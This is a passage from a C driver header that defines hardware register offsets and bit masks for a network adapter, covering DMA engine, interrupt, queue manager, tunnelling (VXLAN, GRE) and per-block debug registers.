PSWWR_REG_USDM_FULL_TH \\\n\t0x29a040UL\n#define PSWWR2_REG_CDU_FULL_TH2\t\\\n\t0x29b040UL\n#define QM_REG_MAXPQSIZE_0 \\\n\t0x2f0434UL\n#define RSS_REG_RSS_INIT_EN \\\n\t0x238804UL\n#define RDIF_REG_STOP_ON_ERROR \\\n\t0x300040UL\n#define RDIF_REG_DEBUG_ERROR_INFO \\\n\t0x300400UL\n#define RDIF_REG_DEBUG_ERROR_INFO_SIZE \\\n\t64\n#define SRC_REG_SOFT_RST \\\n\t0x23874cUL\n#define TCFC_REG_ACTIVITY_COUNTER \\\n\t0x2d8800UL\n#define TCM_REG_INIT \\\n\t0x1180000UL\n#define TM_REG_PXP_READ_DATA_FIFO_INIT \\\n\t0x2c0014UL\n#define TSDM_REG_ENABLE_IN1 \\\n\t0xfb0004UL\n#define TSEM_REG_ENABLE_IN \\\n\t0x1700004UL\n#define TDIF_REG_STOP_ON_ERROR \\\n\t0x310040UL\n#define TDIF_REG_DEBUG_ERROR_INFO \\\n\t0x310400UL\n#define TDIF_REG_DEBUG_ERROR_INFO_SIZE \\\n\t64\n#define UCM_REG_INIT \\\n\t0x1280000UL\n#define UMAC_REG_IPG_HD_BKP_CNTL_BB_B0 \\\n\t0x051004UL\n#define USDM_REG_ENABLE_IN1 \\\n\t0xfd0004UL\n#define USEM_REG_ENABLE_IN \\\n\t0x1900004UL\n#define XCM_REG_INIT \\\n\t0x1000000UL\n#define XSDM_REG_ENABLE_IN1 \\\n\t0xf80004UL\n#define XSEM_REG_ENABLE_IN \\\n\t0x1400004UL\n#define YCM_REG_INIT \\\n\t0x1080000UL\n#define YSDM_REG_ENABLE_IN1 \\\n\t0xf90004UL\n#define YSEM_REG_ENABLE_IN \\\n\t0x1500004UL\n#define XYLD_REG_SCBD_STRICT_PRIO \\\n\t0x4c0000UL\n#define TMLD_REG_SCBD_STRICT_PRIO \\\n\t0x4d0000UL\n#define MULD_REG_SCBD_STRICT_PRIO \\\n\t0x4e0000UL\n#define YULD_REG_SCBD_STRICT_PRIO \\\n\t0x4c8000UL\n#define MISC_REG_SHARED_MEM_ADDR \\\n\t0x008c20UL\n#define DMAE_REG_GO_C0 \\\n\t0x00c048UL\n#define DMAE_REG_GO_C1 \\\n\t0x00c04cUL\n#define DMAE_REG_GO_C2 \\\n\t0x00c050UL\n#define DMAE_REG_GO_C3 \\\n\t0x00c054UL\n#define DMAE_REG_GO_C4 \\\n\t0x00c058UL\n#define DMAE_REG_GO_C5 \\\n\t0x00c05cUL\n#define DMAE_REG_GO_C6 \\\n\t0x00c060UL\n#define DMAE_REG_GO_C7 \\\n\t0x00c064UL\n#define DMAE_REG_GO_C8 \\\n\t0x00c068UL\n#define DMAE_REG_GO_C9 \\\n\t0x00c06cUL\n#define DMAE_REG_GO_C10\t\\\n\t0x00c070UL\n#define DMAE_REG_GO_C11\t\\\n\t0x00c074UL\n#define DMAE_REG_GO_C12\t\\\n\t0x00c078UL\n#define DMAE_REG_GO_C13\t\\\n\t0x00c07cUL\n#define DMAE_REG_GO_C14\t\\\n\t0x00c080UL\n#define DMAE_REG_GO_C15\t\\\n\t0x00c084UL\n#define DMAE_REG_GO_C16\t\\\n\t0x00c088UL\n#define DMAE_REG_GO_C17\t\\\n\t0x00c08cUL\n#define DMAE_REG_GO_C18\t\\\n\t0x00c090UL\n#define DMAE_REG_GO_C19\t\\\n\t0x00c094UL\n#define DMAE_REG_GO_C20\t\\\n\t0x00c098UL\n#define DMAE_REG_GO_C21\t\\\n\t0x00c09cUL\n#define DMAE_REG_GO_C22\t\\\n\t0x00c0a0UL\n#define DMAE_REG_GO_C23\t\\\n\t0x00c0a4UL\n#define DMAE_REG_GO_C24\t\\\n\t0x00c0a8UL\n#define DMAE_REG_GO_C25\t\\\n\t0x00c0acUL\n#define DMAE_REG_GO_C26\t\\\n\t0x00c0b0UL\n#define DMAE_REG_GO_C27\t\\\n\t0x00c0b4UL\n#define DMAE_REG_GO_C28\t\\\n\t0x00c0b8UL\n#define DMAE_REG_GO_C29\t\\\n\t0x00c0bcUL\n#define DMAE_REG_GO_C30\t\\\n\t0x00c0c0UL\n#define DMAE_REG_GO_C31\t\\\n\t0x00c0c4UL\n#define DMAE_REG_CMD_MEM \\\n\t0x00c800UL\n#define QM_REG_MAXPQSIZETXSEL_0\t\\\n\t0x2f0440UL\n#define QM_REG_SDMCMDREADY \\\n\t0x2f1e10UL\n#define QM_REG_SDMCMDADDR \\\n\t0x2f1e04UL\n#define QM_REG_SDMCMDDATALSB \\\n\t0x2f1e08UL\n#define QM_REG_SDMCMDDATAMSB \\\n\t0x2f1e0cUL\n#define QM_REG_SDMCMDGO\t\\\n\t0x2f1e14UL\n#define QM_REG_RLPFCRD \\\n\t0x2f4d80UL\n#define QM_REG_RLPFINCVAL \\\n\t0x2f4c80UL\n#define QM_REG_RLGLBLCRD \\\n\t0x2f4400UL\n#define QM_REG_RLGLBLINCVAL \\\n\t0x2f3400UL\n#define IGU_REG_ATTENTION_ENABLE \\\n\t0x18083cUL\n#define IGU_REG_ATTN_MSG_ADDR_L\t\\\n\t0x180820UL\n#define IGU_REG_ATTN_MSG_ADDR_H\t\\\n\t0x180824UL\n#define MISC_REG_AEU_GENERAL_ATTN_0 \\\n\t0x008400UL\n#define MISC_REG_AEU_GENERAL_ATTN_35 \\\n\t0x00848cUL\n#define CAU_REG_SB_ADDR_MEMORY \\\n\t0x1c8000UL\n#define CAU_REG_SB_VAR_MEMORY \\\n\t0x1c6000UL\n#define CAU_REG_PI_MEMORY \\\n\t0x1d0000UL\n#define IGU_REG_PF_CONFIGURATION \\\n\t0x180800UL\n#define IGU_REG_VF_CONFIGURATION \\\n\t0x180804UL\n#define MISC_REG_AEU_ENABLE1_IGU_OUT_0 \\\n\t0x00849cUL\n#define MISC_REG_AEU_AFTER_INVERT_1_IGU\t\\\n\t0x0087b4UL\n#define MISC_REG_AEU_MASK_ATTN_IGU \\\n\t0x008494UL\n#define IGU_REG_CLEANUP_STATUS_0 \\\n\t0x180980UL\n#define IGU_REG_CLEANUP_STATUS_1 \\\n\t0x180a00UL\n#define IGU_REG_CLEANUP_STATUS_2 \\\n\t0x180a80UL\n#define IGU_REG_CLEANUP_STATUS_3 \\\n\t0x180b00UL\n#define IGU_REG_CLEANUP_STATUS_4 \\\n\t0x180b80UL\n#define IGU_REG_COMMAND_REG_32LSB_DATA \\\n\t0x180840UL\n#define IGU_REG_COMMAND_REG_CTRL \\\n\t0x180848UL\n#define IGU_REG_BLOCK_CONFIGURATION_VF_CLEANUP_EN\t( \\\n\t\t0x1 << 1)\n#define IGU_REG_BLOCK_CONFIGURATION_PXP_TPH_INTERFACE_EN\t( \\\n\t\t0x1 << 0)\n#define IGU_REG_MAPPING_MEMORY \\\n\t0x184000UL\n#define IGU_REG_STATISTIC_NUM_VF_MSG_SENT \\\n\t0x180408UL\n#define IGU_REG_WRITE_DONE_PENDING \\\n\t0x180900UL\n#define MISCS_REG_GENERIC_POR_0\t\\\n\t0x0096d4UL\n#define MCP_REG_NVM_CFG4 \\\n\t0xe0642cUL\n#define MCP_REG_NVM_CFG4_FLASH_SIZE\t( \\\n\t\t0x7 << 0)\n#define MCP_REG_NVM_CFG4_FLASH_SIZE_SHIFT \\\n\t0\n#define MCP_REG_CPU_STATE \\\n\t0xe05004UL\n#define MCP_REG_CPU_STATE_SOFT_HALTED\t(0x1UL << 10)\n#define MCP_REG_CPU_EVENT_MASK \\\n\t0xe05008UL\n#define MCP_REG_CPU_PROGRAM_COUNTER\t0xe0501cUL\n#define PGLUE_B_REG_PF_BAR0_SIZE \\\n\t0x2aae60UL\n#define PGLUE_B_REG_PF_BAR1_SIZE \\\n\t0x2aae64UL\n#define PGLUE_B_REG_VF_BAR1_SIZE 0x2aae68UL\n#define PRS_REG_ENCAPSULATION_TYPE_EN\t0x1f0730UL\n#define PRS_REG_GRE_PROTOCOL\t\t0x1f0734UL\n#define PRS_REG_VXLAN_PORT\t\t0x1f0738UL\n#define PRS_REG_OUTPUT_FORMAT_4_0_BB_K2\t0x1f099cUL\n#define NIG_REG_ENC_TYPE_ENABLE\t\t0x501058UL\n\n#define NIG_REG_ENC_TYPE_ENABLE_ETH_OVER_GRE_ENABLE\t\t(0x1 << 0)\n#define NIG_REG_ENC_TYPE_ENABLE_ETH_OVER_GRE_ENABLE_SHIFT\t0\n#define NIG_REG_ENC_TYPE_ENABLE_IP_OVER_GRE_ENABLE\t\t(0x1 << 1)\n#define NIG_REG_ENC_TYPE_ENABLE_IP_OVER_GRE_ENABLE_SHIFT\t1\n#define NIG_REG_ENC_TYPE_ENABLE_VXLAN_ENABLE\t\t\t(0x1 << 2)\n#define NIG_REG_ENC_TYPE_ENABLE_VXLAN_ENABLE_SHIFT\t\t2\n\n#define NIG_REG_VXLAN_CTRL\t\t0x50105cUL\n#define PBF_REG_VXLAN_PORT\t\t0xd80518UL\n#define PBF_REG_NGE_PORT\t\t0xd8051cUL\n#define PRS_REG_NGE_PORT\t\t0x1f086cUL\n#define NIG_REG_NGE_PORT\t\t0x508b38UL\n\n#define DORQ_REG_L2_EDPM_TUNNEL_GRE_ETH_EN\t\t0x10090cUL\n#define DORQ_REG_L2_EDPM_TUNNEL_GRE_IP_EN\t\t0x100910UL\n#define DORQ_REG_L2_EDPM_TUNNEL_VXLAN_EN\t\t0x100914UL\n#define DORQ_REG_L2_EDPM_TUNNEL_NGE_IP_EN_K2_E5\t\t0x10092cUL\n#define DORQ_REG_L2_EDPM_TUNNEL_NGE_ETH_EN_K2_E5\t0x100930UL\n\n#define NIG_REG_NGE_IP_ENABLE\t\t\t0x508b28UL\n#define NIG_REG_NGE_ETH_ENABLE\t\t\t0x508b2cUL\n#define NIG_REG_NGE_COMP_VER\t\t\t0x508b30UL\n#define PBF_REG_NGE_COMP_VER\t\t\t0xd80524UL\n#define PRS_REG_NGE_COMP_VER\t\t\t0x1f0878UL\n\n#define QM_REG_WFQPFWEIGHT\t0x2f4e80UL\n#define QM_REG_WFQVPWEIGHT\t0x2fa000UL\n\n#define PGLCS_REG_DBG_SELECT_K2_E5 \\\n\t0x001d14UL\n#define PGLCS_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x001d18UL\n#define PGLCS_REG_DBG_SHIFT_K2_E5 \\\n\t0x001d1cUL\n#define PGLCS_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x001d20UL\n#define PGLCS_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x001d24UL\n#define MISC_REG_RESET_PL_PDA_VMAIN_1 \\\n\t0x008070UL\n#define MISC_REG_RESET_PL_PDA_VMAIN_2 \\\n\t0x008080UL\n#define MISC_REG_RESET_PL_PDA_VAUX \\\n\t0x008090UL\n#define MISCS_REG_RESET_PL_UA \\\n\t0x009050UL\n#define MISCS_REG_RESET_PL_HV \\\n\t0x009060UL\n#define MISCS_REG_RESET_PL_HV_2_K2_E5 \\\n\t0x009150UL\n#define DMAE_REG_DBG_SELECT \\\n\t0x00c510UL\n#define DMAE_REG_DBG_DWORD_ENABLE \\\n\t0x00c514UL\n#define DMAE_REG_DBG_SHIFT \\\n\t0x00c518UL\n#define DMAE_REG_DBG_FORCE_VALID \\\n\t0x00c51cUL\n#define DMAE_REG_DBG_FORCE_FRAME \\\n\t0x00c520UL\n#define NCSI_REG_DBG_SELECT \\\n\t0x040474UL\n#define NCSI_REG_DBG_DWORD_ENABLE \\\n\t0x040478UL\n#define NCSI_REG_DBG_SHIFT \\\n\t0x04047cUL\n#define NCSI_REG_DBG_FORCE_VALID \\\n\t0x040480UL\n#define NCSI_REG_DBG_FORCE_FRAME \\\n\t0x040484UL\n#define GRC_REG_DBG_SELECT \\\n\t0x0500a4UL\n#define GRC_REG_DBG_DWORD_ENABLE \\\n\t0x0500a8UL\n#define GRC_REG_DBG_SHIFT \\\n\t0x0500acUL\n#define GRC_REG_DBG_FORCE_VALID\t\\\n\t0x0500b0UL\n#define GRC_REG_DBG_FORCE_FRAME\t\\\n\t0x0500b4UL\n#define UMAC_REG_DBG_SELECT_K2_E5 \\\n\t0x051094UL\n#define UMAC_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x051098UL\n#define UMAC_REG_DBG_SHIFT_K2_E5 \\\n\t0x05109cUL\n#define UMAC_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x0510a0UL\n#define UMAC_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x0510a4UL\n#define MCP2_REG_DBG_SELECT \\\n\t0x052400UL\n#define MCP2_REG_DBG_DWORD_ENABLE \\\n\t0x052404UL\n#define MCP2_REG_DBG_SHIFT \\\n\t0x052408UL\n#define MCP2_REG_DBG_FORCE_VALID \\\n\t0x052440UL\n#define MCP2_REG_DBG_FORCE_FRAME \\\n\t0x052444UL\n#define PCIE_REG_DBG_SELECT \\\n\t0x0547e8UL\n#define PCIE_REG_DBG_DWORD_ENABLE \\\n\t0x0547ecUL\n#define PCIE_REG_DBG_SHIFT \\\n\t0x0547f0UL\n#define PCIE_REG_DBG_FORCE_VALID \\\n\t0x0547f4UL\n#define PCIE_REG_DBG_FORCE_FRAME \\\n\t0x0547f8UL\n#define DORQ_REG_DBG_SELECT \\\n\t0x100ad0UL\n#define DORQ_REG_DBG_DWORD_ENABLE \\\n\t0x100ad4UL\n#define DORQ_REG_DBG_SHIFT \\\n\t0x100ad8UL\n#define DORQ_REG_DBG_FORCE_VALID \\\n\t0x100adcUL\n#define DORQ_REG_DBG_FORCE_FRAME \\\n\t0x100ae0UL\n#define IGU_REG_DBG_SELECT \\\n\t0x181578UL\n#define IGU_REG_DBG_DWORD_ENABLE \\\n\t0x18157cUL\n#define IGU_REG_DBG_SHIFT \\\n\t0x181580UL\n#define IGU_REG_DBG_FORCE_VALID\t\\\n\t0x181584UL\n#define IGU_REG_DBG_FORCE_FRAME\t\\\n\t0x181588UL\n#define CAU_REG_DBG_SELECT \\\n\t0x1c0ea8UL\n#define CAU_REG_DBG_DWORD_ENABLE \\\n\t0x1c0eacUL\n#define CAU_REG_DBG_SHIFT \\\n\t0x1c0eb0UL\n#define CAU_REG_DBG_FORCE_VALID\t\\\n\t0x1c0eb4UL\n#define CAU_REG_DBG_FORCE_FRAME\t\\\n\t0x1c0eb8UL\n#define PRS_REG_DBG_SELECT \\\n\t0x1f0b6cUL\n#define PRS_REG_DBG_DWORD_ENABLE \\\n\t0x1f0b70UL\n#define PRS_REG_DBG_SHIFT \\\n\t0x1f0b74UL\n#define PRS_REG_DBG_FORCE_VALID\t\\\n\t0x1f0ba0UL\n#define PRS_REG_DBG_FORCE_FRAME\t\\\n\t0x1f0ba4UL\n#define CNIG_REG_DBG_SELECT_K2_E5 \\\n\t0x218254UL\n#define CNIG_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x218258UL\n#define CNIG_REG_DBG_SHIFT_K2_E5 \\\n\t0x21825cUL\n#define CNIG_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x218260UL\n#define CNIG_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x218264UL\n#define PRM_REG_DBG_SELECT \\\n\t0x2306a8UL\n#define PRM_REG_DBG_DWORD_ENABLE \\\n\t0x2306acUL\n#define PRM_REG_DBG_SHIFT \\\n\t0x2306b0UL\n#define PRM_REG_DBG_FORCE_VALID\t\\\n\t0x2306b4UL\n#define PRM_REG_DBG_FORCE_FRAME\t\\\n\t0x2306b8UL\n#define SRC_REG_DBG_SELECT \\\n\t0x238700UL\n#define SRC_REG_DBG_DWORD_ENABLE \\\n\t0x238704UL\n#define SRC_REG_DBG_SHIFT \\\n\t0x238708UL\n#define SRC_REG_DBG_FORCE_VALID\t\\\n\t0x23870cUL\n#define SRC_REG_DBG_FORCE_FRAME\t\\\n\t0x238710UL\n#define RSS_REG_DBG_SELECT \\\n\t0x238c4cUL\n#define RSS_REG_DBG_DWORD_ENABLE \\\n\t0x238c50UL\n#define RSS_REG_DBG_SHIFT \\\n\t0x238c54UL\n#define RSS_REG_DBG_FORCE_VALID\t\\\n\t0x238c58UL\n#define RSS_REG_DBG_FORCE_FRAME\t\\\n\t0x238c5cUL\n#define RPB_REG_DBG_SELECT \\\n\t0x23c728UL\n#define RPB_REG_DBG_DWORD_ENABLE \\\n\t0x23c72cUL\n#define RPB_REG_DBG_SHIFT \\\n\t0x23c730UL\n#define RPB_REG_DBG_FORCE_VALID\t\\\n\t0x23c734UL\n#define RPB_REG_DBG_FORCE_FRAME\t\\\n\t0x23c738UL\n#define PSWRQ2_REG_DBG_SELECT \\\n\t0x240100UL\n#define PSWRQ2_REG_DBG_DWORD_ENABLE \\\n\t0x240104UL\n#define PSWRQ2_REG_DBG_SHIFT \\\n\t0x240108UL\n#define PSWRQ2_REG_DBG_FORCE_VALID \\\n\t0x24010cUL\n#define PSWRQ2_REG_DBG_FORCE_FRAME \\\n\t0x240110UL\n#define PSWRQ_REG_DBG_SELECT \\\n\t0x280020UL\n#define PSWRQ_REG_DBG_DWORD_ENABLE \\\n\t0x280024UL\n#define PSWRQ_REG_DBG_SHIFT \\\n\t0x280028UL\n#define PSWRQ_REG_DBG_FORCE_VALID \\\n\t0x28002cUL\n#define PSWRQ_REG_DBG_FORCE_FRAME \\\n\t0x280030UL\n#define PSWWR_REG_DBG_SELECT \\\n\t0x29a084UL\n#define PSWWR_REG_DBG_DWORD_ENABLE \\\n\t0x29a088UL\n#define PSWWR_REG_DBG_SHIFT \\\n\t0x29a08cUL\n#define PSWWR_REG_DBG_FORCE_VALID \\\n\t0x29a090UL\n#define PSWWR_REG_DBG_FORCE_FRAME \\\n\t0x29a094UL\n#define PSWRD_REG_DBG_SELECT \\\n\t0x29c040UL\n#define PSWRD_REG_DBG_DWORD_ENABLE \\\n\t0x29c044UL\n#define PSWRD_REG_DBG_SHIFT \\\n\t0x29c048UL\n#define PSWRD_REG_DBG_FORCE_VALID \\\n\t0x29c04cUL\n#define PSWRD_REG_DBG_FORCE_FRAME \\\n\t0x29c050UL\n#define PSWRD2_REG_DBG_SELECT \\\n\t0x29d400UL\n#define PSWRD2_REG_DBG_DWORD_ENABLE \\\n\t0x29d404UL\n#define PSWRD2_REG_DBG_SHIFT \\\n\t0x29d408UL\n#define PSWRD2_REG_DBG_FORCE_VALID \\\n\t0x29d40cUL\n#define PSWRD2_REG_DBG_FORCE_FRAME \\\n\t0x29d410UL\n#define PSWHST2_REG_DBG_SELECT \\\n\t0x29e058UL\n#define PSWHST2_REG_DBG_DWORD_ENABLE \\\n\t0x29e05cUL\n#define PSWHST2_REG_DBG_SHIFT \\\n\t0x29e060UL\n#define PSWHST2_REG_DBG_FORCE_VALID \\\n\t0x29e064UL\n#define PSWHST2_REG_DBG_FORCE_FRAME \\\n\t0x29e068UL\n#define PSWHST_REG_DBG_SELECT \\\n\t0x2a0100UL\n#define PSWHST_REG_DBG_DWORD_ENABLE \\\n\t0x2a0104UL\n#define PSWHST_REG_DBG_SHIFT \\\n\t0x2a0108UL\n#define PSWHST_REG_DBG_FORCE_VALID \\\n\t0x2a010cUL\n#define PSWHST_REG_DBG_FORCE_FRAME \\\n\t0x2a0110UL\n#define PGLUE_B_REG_DBG_SELECT \\\n\t0x2a8400UL\n#define PGLUE_B_REG_DBG_DWORD_ENABLE \\\n\t0x2a8404UL\n#define PGLUE_B_REG_DBG_SHIFT \\\n\t0x2a8408UL\n#define PGLUE_B_REG_DBG_FORCE_VALID \\\n\t0x2a840cUL\n#define PGLUE_B_REG_DBG_FORCE_FRAME \\\n\t0x2a8410UL\n#define TM_REG_DBG_SELECT \\\n\t0x2c07a8UL\n#define TM_REG_DBG_DWORD_ENABLE\t\\\n\t0x2c07acUL\n#define TM_REG_DBG_SHIFT \\\n\t0x2c07b0UL\n#define TM_REG_DBG_FORCE_VALID \\\n\t0x2c07b4UL\n#define TM_REG_DBG_FORCE_FRAME \\\n\t0x2c07b8UL\n#define TCFC_REG_DBG_SELECT \\\n\t0x2d0500UL\n#define TCFC_REG_DBG_DWORD_ENABLE \\\n\t0x2d0504UL\n#define TCFC_REG_DBG_SHIFT \\\n\t0x2d0508UL\n#define TCFC_REG_DBG_FORCE_VALID \\\n\t0x2d050cUL\n#define TCFC_REG_DBG_FORCE_FRAME \\\n\t0x2d0510UL\n#define CCFC_REG_DBG_SELECT \\\n\t0x2e0500UL\n#define CCFC_REG_DBG_DWORD_ENABLE \\\n\t0x2e0504UL\n#define CCFC_REG_DBG_SHIFT \\\n\t0x2e0508UL\n#define CCFC_REG_DBG_FORCE_VALID \\\n\t0x2e050cUL\n#define CCFC_REG_DBG_FORCE_FRAME \\\n\t0x2e0510UL\n#define QM_REG_DBG_SELECT \\\n\t0x2f2e74UL\n#define QM_REG_DBG_DWORD_ENABLE\t\\\n\t0x2f2e78UL\n#define QM_REG_DBG_SHIFT \\\n\t0x2f2e7cUL\n#define QM_REG_DBG_FORCE_VALID \\\n\t0x2f2e80UL\n#define QM_REG_DBG_FORCE_FRAME \\\n\t0x2f2e84UL\n#define RDIF_REG_DBG_SELECT \\\n\t0x300500UL\n#define RDIF_REG_DBG_DWORD_ENABLE \\\n\t0x300504UL\n#define RDIF_REG_DBG_SHIFT \\\n\t0x300508UL\n#define RDIF_REG_DBG_FORCE_VALID \\\n\t0x30050cUL\n#define RDIF_REG_DBG_FORCE_FRAME \\\n\t0x300510UL\n#define TDIF_REG_DBG_SELECT \\\n\t0x310500UL\n#define TDIF_REG_DBG_DWORD_ENABLE \\\n\t0x310504UL\n#define TDIF_REG_DBG_SHIFT \\\n\t0x310508UL\n#define TDIF_REG_DBG_FORCE_VALID \\\n\t0x31050cUL\n#define TDIF_REG_DBG_FORCE_FRAME \\\n\t0x310510UL\n#define BRB_REG_DBG_SELECT \\\n\t0x340ed0UL\n#define BRB_REG_DBG_DWORD_ENABLE \\\n\t0x340ed4UL\n#define BRB_REG_DBG_SHIFT \\\n\t0x340ed8UL\n#define BRB_REG_DBG_FORCE_VALID\t\\\n\t0x340edcUL\n#define BRB_REG_DBG_FORCE_FRAME\t\\\n\t0x340ee0UL\n#define XYLD_REG_DBG_SELECT \\\n\t0x4c1600UL\n#define XYLD_REG_DBG_DWORD_ENABLE \\\n\t0x4c1604UL\n#define XYLD_REG_DBG_SHIFT \\\n\t0x4c1608UL\n#define XYLD_REG_DBG_FORCE_VALID \\\n\t0x4c160cUL\n#define XYLD_REG_DBG_FORCE_FRAME \\\n\t0x4c1610UL\n#define YULD_REG_DBG_SELECT_BB_K2 \\\n\t0x4c9600UL\n#define YULD_REG_DBG_DWORD_ENABLE_BB_K2 \\\n\t0x4c9604UL\n#define YULD_REG_DBG_SHIFT_BB_K2 \\\n\t0x4c9608UL\n#define YULD_REG_DBG_FORCE_VALID_BB_K2 \\\n\t0x4c960cUL\n#define YULD_REG_DBG_FORCE_FRAME_BB_K2 \\\n\t0x4c9610UL\n#define TMLD_REG_DBG_SELECT \\\n\t0x4d1600UL\n#define TMLD_REG_DBG_DWORD_ENABLE \\\n\t0x4d1604UL\n#define TMLD_REG_DBG_SHIFT \\\n\t0x4d1608UL\n#define TMLD_REG_DBG_FORCE_VALID \\\n\t0x4d160cUL\n#define TMLD_REG_DBG_FORCE_FRAME \\\n\t0x4d1610UL\n#define MULD_REG_DBG_SELECT \\\n\t0x4e1600UL\n#define MULD_REG_DBG_DWORD_ENABLE \\\n\t0x4e1604UL\n#define MULD_REG_DBG_SHIFT \\\n\t0x4e1608UL\n#define MULD_REG_DBG_FORCE_VALID \\\n\t0x4e160cUL\n#define MULD_REG_DBG_FORCE_FRAME \\\n\t0x4e1610UL\n#define NIG_REG_DBG_SELECT \\\n\t0x502140UL\n#define NIG_REG_DBG_DWORD_ENABLE \\\n\t0x502144UL\n#define NIG_REG_DBG_SHIFT \\\n\t0x502148UL\n#define NIG_REG_DBG_FORCE_VALID\t\\\n\t0x50214cUL\n#define NIG_REG_DBG_FORCE_FRAME\t\\\n\t0x502150UL\n#define BMB_REG_DBG_SELECT \\\n\t0x540a7cUL\n#define BMB_REG_DBG_DWORD_ENABLE \\\n\t0x540a80UL\n#define BMB_REG_DBG_SHIFT \\\n\t0x540a84UL\n#define BMB_REG_DBG_FORCE_VALID\t\\\n\t0x540a88UL\n#define BMB_REG_DBG_FORCE_FRAME\t\\\n\t0x540a8cUL\n#define PTU_REG_DBG_SELECT \\\n\t0x560100UL\n#define PTU_REG_DBG_DWORD_ENABLE \\\n\t0x560104UL\n#define PTU_REG_DBG_SHIFT \\\n\t0x560108UL\n#define PTU_REG_DBG_FORCE_VALID\t\\\n\t0x56010cUL\n#define PTU_REG_DBG_FORCE_FRAME\t\\\n\t0x560110UL\n#define CDU_REG_DBG_SELECT \\\n\t0x580704UL\n#define CDU_REG_DBG_DWORD_ENABLE \\\n\t0x580708UL\n#define CDU_REG_DBG_SHIFT \\\n\t0x58070cUL\n#define CDU_REG_DBG_FORCE_VALID\t\\\n\t0x580710UL\n#define CDU_REG_DBG_FORCE_FRAME\t\\\n\t0x580714UL\n#define WOL_REG_DBG_SELECT_K2_E5 \\\n\t0x600140UL\n#define WOL_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x600144UL\n#define WOL_REG_DBG_SHIFT_K2_E5 \\\n\t0x600148UL\n#define WOL_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x60014cUL\n#define WOL_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x600150UL\n#define BMBN_REG_DBG_SELECT_K2_E5 \\\n\t0x610140UL\n#define BMBN_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x610144UL\n#define BMBN_REG_DBG_SHIFT_K2_E5 \\\n\t0x610148UL\n#define BMBN_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x61014cUL\n#define BMBN_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x610150UL\n#define NWM_REG_DBG_SELECT_K2_E5 \\\n\t0x8000ecUL\n#define NWM_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x8000f0UL\n#define NWM_REG_DBG_SHIFT_K2_E5 \\\n\t0x8000f4UL\n#define NWM_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x8000f8UL\n#define NWM_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x8000fcUL\n#define PBF_REG_DBG_SELECT \\\n\t0xd80060UL\n#define PBF_REG_DBG_DWORD_ENABLE \\\n\t0xd80064UL\n#define PBF_REG_DBG_SHIFT \\\n\t0xd80068UL\n#define PBF_REG_DBG_FORCE_VALID\t\\\n\t0xd8006cUL\n#define PBF_REG_DBG_FORCE_FRAME\t\\\n\t0xd80070UL\n#define PBF_PB1_REG_DBG_SELECT \\\n\t0xda0728UL\n#define PBF_PB1_REG_DBG_DWORD_ENABLE \\\n\t0xda072cUL\n#define PBF_PB1_REG_DBG_SHIFT \\\n\t0xda0730UL\n#define PBF_PB1_REG_DBG_FORCE_VALID \\\n\t0xda0734UL\n#define PBF_PB1_REG_DBG_FORCE_FRAME \\\n\t0xda0738UL\n#define PBF_PB2_REG_DBG_SELECT \\\n\t0xda4728UL\n#define PBF_PB2_REG_DBG_DWORD_ENABLE \\\n\t0xda472cUL\n#define PBF_PB2_REG_DBG_SHIFT \\\n\t0xda4730UL\n#define PBF_PB2_REG_DBG_FORCE_VALID \\\n\t0xda4734UL\n#define PBF_PB2_REG_DBG_FORCE_FRAME \\\n\t0xda4738UL\n#define BTB_REG_DBG_SELECT \\\n\t0xdb08c8UL\n#define BTB_REG_DBG_DWORD_ENABLE \\\n\t0xdb08ccUL\n#define BTB_REG_DBG_SHIFT \\\n\t0xdb08d0UL\n#define BTB_REG_DBG_FORCE_VALID\t\\\n\t0xdb08d4UL\n#define BTB_REG_DBG_FORCE_FRAME\t\\\n\t0xdb08d8UL\n#define XSDM_REG_DBG_SELECT \\\n\t0xf80e28UL\n#define XSDM_REG_DBG_DWORD_ENABLE \\\n\t0xf80e2cUL\n#define XSDM_REG_DBG_SHIFT \\\n\t0xf80e30UL\n#define XSDM_REG_DBG_FORCE_VALID \\\n\t0xf80e34UL\n#define XSDM_REG_DBG_FORCE_FRAME \\\n\t0xf80e38UL\n#define YSDM_REG_DBG_SELECT \\\n\t0xf90e28UL\n#define YSDM_REG_DBG_DWORD_ENABLE \\\n\t0xf90e2cUL\n#define YSDM_REG_DBG_SHIFT \\\n\t0xf90e30UL\n#define YSDM_REG_DBG_FORCE_VALID \\\n\t0xf90e34UL\n#define YSDM_REG_DBG_FORCE_FRAME \\\n\t0xf90e38UL\n#define PSDM_REG_DBG_SELECT \\\n\t0xfa0e28UL\n#define PSDM_REG_DBG_DWORD_ENABLE \\\n\t0xfa0e2cUL\n#define PSDM_REG_DBG_SHIFT \\\n\t0xfa0e30UL\n#define PSDM_REG_DBG_FORCE_VALID \\\n\t0xfa0e34UL\n#define PSDM_REG_DBG_FORCE_FRAME \\\n\t0xfa0e38UL\n#define TSDM_REG_DBG_SELECT \\\n\t0xfb0e28UL\n#define TSDM_REG_DBG_DWORD_ENABLE \\\n\t0xfb0e2cUL\n#define TSDM_REG_DBG_SHIFT \\\n\t0xfb0e30UL\n#define TSDM_REG_DBG_FORCE_VALID \\\n\t0xfb0e34UL\n#define TSDM_REG_DBG_FORCE_FRAME \\\n\t0xfb0e38UL\n#define MSDM_REG_DBG_SELECT \\\n\t0xfc0e28UL\n#define MSDM_REG_DBG_DWORD_ENABLE \\\n\t0xfc0e2cUL\n#define MSDM_REG_DBG_SHIFT \\\n\t0xfc0e30UL\n#define MSDM_REG_DBG_FORCE_VALID \\\n\t0xfc0e34UL\n#define MSDM_REG_DBG_FORCE_FRAME \\\n\t0xfc0e38UL\n#define USDM_REG_DBG_SELECT 